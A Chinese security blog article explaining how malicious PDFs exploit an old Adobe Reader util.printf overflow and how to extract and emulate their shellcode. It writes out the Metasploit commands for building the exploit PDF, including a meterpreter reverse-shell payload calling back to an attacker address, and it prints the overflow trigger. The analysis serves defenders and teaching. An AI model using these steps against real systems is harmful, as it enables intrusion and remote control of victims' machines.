详细分析从恶意PDF文档中提取Payload的方法 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

详细分析从恶意PDF文档中提取Payload的方法

41yf1sh 技术 2018-07-30 11:55:56
619441
收藏

导语:当前,PDF的文档格式非常流行,几乎人人都会使用到,也正因此,许多攻击者都将恶意PDF文档作为感染用户的一种主要方式。

概述

当前,PDF的文档格式非常流行,几乎人人都会使用到,也正因此,许多攻击者都将恶意PDF文档作为感染用户的一种主要方式。更具有威胁性的是,当前还存在许多Acrobat Reader漏洞的利用方式,攻击者如果借助这些漏洞,那么恶意软件将以一种隐蔽和直接的方式感染到用户主机上。

在本文中,我们将主要讲解攻击者如何使用特制的Shellcode制作恶意PDF并触发漏洞从而执行Payload,你会发现这一过程是多么简单。此外,本文将重点对恶意PDF进行分析,以掌握Payload的存储方式及提取方法。

注意:本篇文章仅侧重于技术研究,仅限各位读者学习交流,请勿用于恶意用途。

关于PDF格式

PDF是一个由Adobe定义的文件格式,该格式的特点是面向对象。在这一格式中,保存了文档的组织结构,同时也保存了所需的依赖关系(包括字体、图像等)。这些对象以流的形式存储在文档中,并且大多情况下会被编码或压缩。下图是一般PDF文档的概述。如果想了解更多信息,请阅读Abode发布的官方规范:http://partners.adobe.com/public/developer/tips/topic_tip31.html

1.png

 

攻击者如何构建恶意PDF

在这里,我们将尝试用Metasploit创建一个伪造的PDF,其中包含一个漏洞利用的尝试,一集一个自定义的Payload(要执行的代码)。我们利用的漏洞针对特定版本Adobe Reader,因此我们需要找到一个古老的Reader版本(在这里,要感谢 http://www.oldapps.com/ ),并在目标主机上安装。

首先,我们来制作这个PDF。我们将制作一个只在主机上打开计算器(calc.exe)的“恶意PDF”,仅用于演示。打开Metasploit控制台,并输入:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

如下图所示:

2.png

将刚刚创建的文件(路径为:/home/osboxes/.msf4/local/malicious.pdf)复制到共享驱动器上,我们需要借助共享驱动器来传播该文件。

执行恶意PDF

在目标计算机上,下载并安装易受攻击版本的Adobe Reader(根据Metasploit的信息,易受攻击版本号应该小于8.1.2),因此我选择安装了8.1.1版本。

在安装后,执行malicious.pdf文件,我们能够看到从Adobe Reader进程派生出的计算器程序,这也就是漏洞利用的成功实现。

3.png

同时,我还制作了另一个PDF,但稍微调整了Payload,只是为了好玩:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

现在,Adobe Reader就有了一个后门(反向Shell),用于监听发送到被感染主机的命令。

4.png

对恶意PDF的分析

在实际尝试之后,我们来分析恶意PDF中的内容,也就是尝试着提取恶意Payload。在这里,我们仍然使用附带calc.exe的PDF。

首先,我们需要使用一个名为PDF Stream Dumper的工具,该工具的下载地址是:http://sandsprite.com/blogs/index.php?uid=7&pid=57 。我们先要熟悉该工具,然后使用此工具来加载恶意PDF。

5.png

第一步,可以尝试着利用这个工具的“Exploit Scan”功能,检测某些潜在漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

实际上,在编号为6的流中隐藏了一个漏洞。

我们来详细分析一下:在PDF中寻找漏洞时,我们大多数情况下会遇到由JavaScript代码创建的堆喷射(Heap Spray)。这一堆喷射,用于将Payload发送到堆上,一旦漏洞被触发,就可以执行。

如果打开编号为1的流,可以看到如下内容:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接下来,可以在编号为5的流上,将其转换为OpenAction。让我们具体看看:

/Type/Action/S/JavaScript/JS 6 0 R

其中,我们要执行编号为6的流上的JavaScript。这个流中,只显示JavaScript的简单内容,我们需要打开“Javascript_UI”菜单来进行详细查看。通过这一步骤,我们立即识别出一个十六进制编码的大字符串(Big String),并将其放入变量中,用于堆喷射。我们的Payload如下:

6.png

幸运的是,我们有好用的工具来对它进行操纵,并进一步了解它的作用。选择Payload(引号之间的部分),然后打开“Shellcode_analysis”菜单,然后选择“scDbg – LibEmu Emulation”,我们就能够在新打开的窗口中获得解码为字节的Shellcode(也可以将其保存到文件中):

7.png

LibEmu是一个能够模拟处理器的库,它提供了有关汇编代码尝试执行操作的信息,只要点击“Launch”按钮即可。

8.png

在这里,我们能够直观地看到,Shellcode打开了一个calc.exe窗口,然后就会退出。

让我们重新对其他恶意PDF(反向Shell)进行相同的分析:

9.png

在这里,Shellcode在加载操作套接字所需的库(ws2_32.dll),并尝试连回C&C服务器。

至此,我还没有提供漏洞的详细利用方式,为了防止恶意利用,我只能简单介绍。这一漏洞位于JavaScript代码的末尾(正如我们搜索漏洞利用方式时看到的那样,在编号为6的流中找到了“util.printf”)。该方法是利用printf函数上的缓冲区溢出漏洞来执行恶意代码,在这里是我们堆喷射的Shellcode。

util.printf("%45000.45000f", 0);

参考链接

http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443

http://www.oldapps.com/adobe_reader.php

http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html

http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html

http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf

http://blog.9bplus.com/analyzing-cve-2011-2462/

https://www.fireeye.com/blog/threat-research/2012/07/analysis-of-a-different-pdf-malware.html

http://resources.infosecinstitute.com/analyzing-malicious-pdf/

2
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务